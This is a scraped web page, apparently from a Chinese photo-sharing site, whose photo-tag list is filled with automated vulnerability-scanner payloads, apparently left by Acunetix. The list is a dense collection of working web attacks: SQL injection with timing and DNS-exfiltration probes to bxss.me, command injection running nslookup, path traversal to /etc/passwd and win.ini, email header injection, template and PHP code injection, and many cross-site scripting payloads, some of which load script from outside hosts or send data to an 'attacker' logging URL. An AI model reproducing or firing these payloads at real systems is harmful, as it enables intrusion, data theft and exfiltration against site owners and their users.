×
照片标签：
- 1
- response.write(9194257*9665586)
- '+response.write(9194257*9665586)+'
- "+response.write(9194257*9665586)+"
- 1</script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source)
- s.src=(/
- /+/bxss.me\/s?u=014892&r=7-40769&h=7-8ec6f-2&/).slice(2)
- document.documentElement.appendChild(s))//'>
- 1'>"><script src=http://bxss.me/s?u=014892&r=7-40770&h=7-8ec6f-1></script><tcpdf method="addTTFFont" params="%5B%22%5C%2Fetc%5C%2Fhosts%22%2C%22TrueType%22%2C%22%22%2C255%2C%22ftp%3A%5C%2F%5C%2Fftpadmin%3AzaNEgbe8XcCb%40bxss.me%3A999%5C%2Fbxss
- 014892
- 7-40770
- 7
- 8ec6f
- %22%5D"/>
- 6TXEH2Gq
- -1 OR 2+746-746-1=0+0+0+1 --
- -1 OR 2+143-143-1=0+0+0+1
- -1' OR 2+669-669-1=0+0+0+1 --
- -1' OR 2+706-706-1=0+0+0+1 or 'W107rOPP'='
- -1" OR 2+967-967-1=0+0+0+1 --
- set|set&set
- $(nslookup dns.ce.\014892.7-40777.7.8ec6f.\1.bxss.me)
- &nslookup dns.ce.\014892.7-40778.7.8ec6f.\1.bxss.me&'\"`0&nslookup dns.ce.\014892.7-40778.7.8ec6f.\1.bxss.me&`'
- if(now()=sysdate()
- sleep(6)
- 0)/*'XOR(if(now()=sysdate()
- 0))OR'"XOR(if(now()=sysdate()
- 0))OR"*/
- (select(0)from(select(sleep(6)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(6)))v)+"*/
- -1
- oi3ezTGv
- -1)
- 1 waitfor delay '0:0:9' --
- VAlB8lUx'
- -1))
- FIxfBdWd'
- fqh4RAdJ')
- 2tO8MkAp'))
- '||(select 1 from (select pg_sleep(3))x)||'
- ''||(select 1 from (select pg_sleep(3))x)||''
- 1||UTL_INADDR.get_host_address('dns.'||'sqli.014892.7-40781.7.8ec6f.1.bxss'||'.me')
- '||UTL_INADDR.get_host_address('dns.'||'sqli.014892.7-40782.7.8ec6f.1.bxss'||'.me')||'
- 1'
- 694'
- ../../../../../../../../../../etc/passwd
- ../../../../../../../../../../../../../../../proc/version
- ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
- 1 bcc:014892.7-40789.7.8ec6f.1@bxss.me
- ../../../../../../../../../../etc/passwd .jpg
- to@example.com> bcc:014892.7-40790.7.8ec6f.1@bxss.me
- /../..//../..//../..//../..//../..//etc/passwd .jpg
- .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
- /etc/passwd
- %2fetc%2fpasswd
- /.././.././.././.././.././.././.././../etc/./passwd%00
- ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
- file:///etc/passwd
- /\../\../\../\../\../\../\../etc/passwd
- WEB-INF/web.xml
- /WEB-INF/web.xml
- WEB-INF\web.xml
- ../../../../../../../../../../windows/win.ini
- C:\WINDOWS\system32\drivers\etc\hosts
- ../../../../../../../../../../windows/win.ini .jpg
- ................windowswin.ini
- ..\..\..\..\..\..\..\..\windows\win.ini
- /.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
- ${10000383+10000306}
- ../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- 1some_inexistent_file_with_long_name .jpg
- Http://testasp.vulnweb.com/t/fit.txt
- http://testasp.vulnweb.com/t/fit.txt?.jpg
- 1&n907655=v902133
- )
- !(()&&!|*|*|
- ^(#$!@#$)(()))******
- testasp.vulnweb.com
- '"()
- http://testasp.vulnweb.com/t/xss.html?%00.jpg
- '
- "
- bibs
- ${@print(md5(acunetix_wvs_security_test))}
- bibs/.
- ${@print(md5(acunetix_wvs_security_test))}\
- http://hitPGIJsXIk9Q.bxss.me/
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- /www.vulnweb.com
- '"
- 1'"()&%<acx><ScRiPt >GR9D(9247)</ScRiPt>
- <!--
- '"()&%<acx><ScRiPt >GR9D(9413)</ScRiPt>
- 19502452
- acu2807＜s1﹥s2ʺs3ʹuca2807
- {{9999814*9999982}}
- acu9102＜s1﹥s2ʺs3ʹuca9102
- {{9999373*10000082}}
- acu9214＜s1﹥s2ʺs3ʹuca9214
- {{9999728*10000343}}
- 1"onmouseover=GR9D(9344)"
- 1" BpJr=GR9D([!+!]) mfP="
- 1\u0022onmouseover=GR9D(9500)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%47%52%39%44%28%39%38%34%34%29%22
- 1"sTYLe='acu:Expre/**/SSion(GR9D(9246))'bad="
- 1"><script>GR9D(9694)</script>
- 1"onmouseover=GR9D(9281)"
- 1" wjuT=GR9D([!+!]) HIm="
- 1\u0022onmouseover=GR9D(9170)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%47%52%39%44%28%39%37%32%33%29%22
- 1"sTYLe='acu:Expre/**/SSion(GR9D(9725))'bad="
- 1"><script>GR9D(9869)</script>
- 1<ScRiPt >GR9D(9280)</ScRiPt>
- 1<WRN6MR>1PMY2[!+!]</WRN6MR>
- 1<script>GR9D(9136)</script>
- 1<ScR<ScRiPt>IpT>GR9D(9322)</sCr<ScRiPt>IpT>
- 1<ScRiPt >GR9D(9698)</ScRiPt>
- 1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9450></ScRiPt>
- 1< ScRiPt >GR9D(9521)</ScRiPt>
- 1<video><source onerror="javascript:GR9D(9538)">
- 1<isindex type=image src=1 onerror=GR9D(9228)>
- 1<iframe src='data:text/html
- 1<body onload=GR9D(9694)>
- 1<img src=//testasp.vulnweb.com/t/dot.gif onload=GR9D(9241)>
- 1<img src=xyz OnErRor=GR9D(9382)>
- 1<img/src=">" onerror=alert(9393)>
- %31%3C%53%63%52%69%50%74%20%3E%47%52%39%44%289888%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\GR9D(9400)\u003C/sCripT\u003E
- 1<
- 1<input autofocus onfocus=GR9D(9170)>
- <a HrEF=http://www.vulnweb.com></a>
- <a HrEF=jaVaScRiPT:>
- [url=http://www.vulnweb.com][/url]
- 1<img<!-- --> src=x onerror=alert(9653)
- 1}body{acu:Expre/**/SSion(GR9D(9673))}
- 1<% contenteditable onresize=GR9D(9709)>
- 1LruDS <ScRiPt >GR9D(9302)</ScRiPt>
- 1<WL03IK>SEBYK[!+!]</WL03IK>
- 1<ifRAme sRc=9380.com></IfRamE>
- 1<aUbnkG x=9075>
- 1<img sRc='http://attacker-9547/log.php?
- 1<BxNVMc<
- 1'"
- \
- @@lsFdd
- JyI=
微信扫一扫, 保存到手机
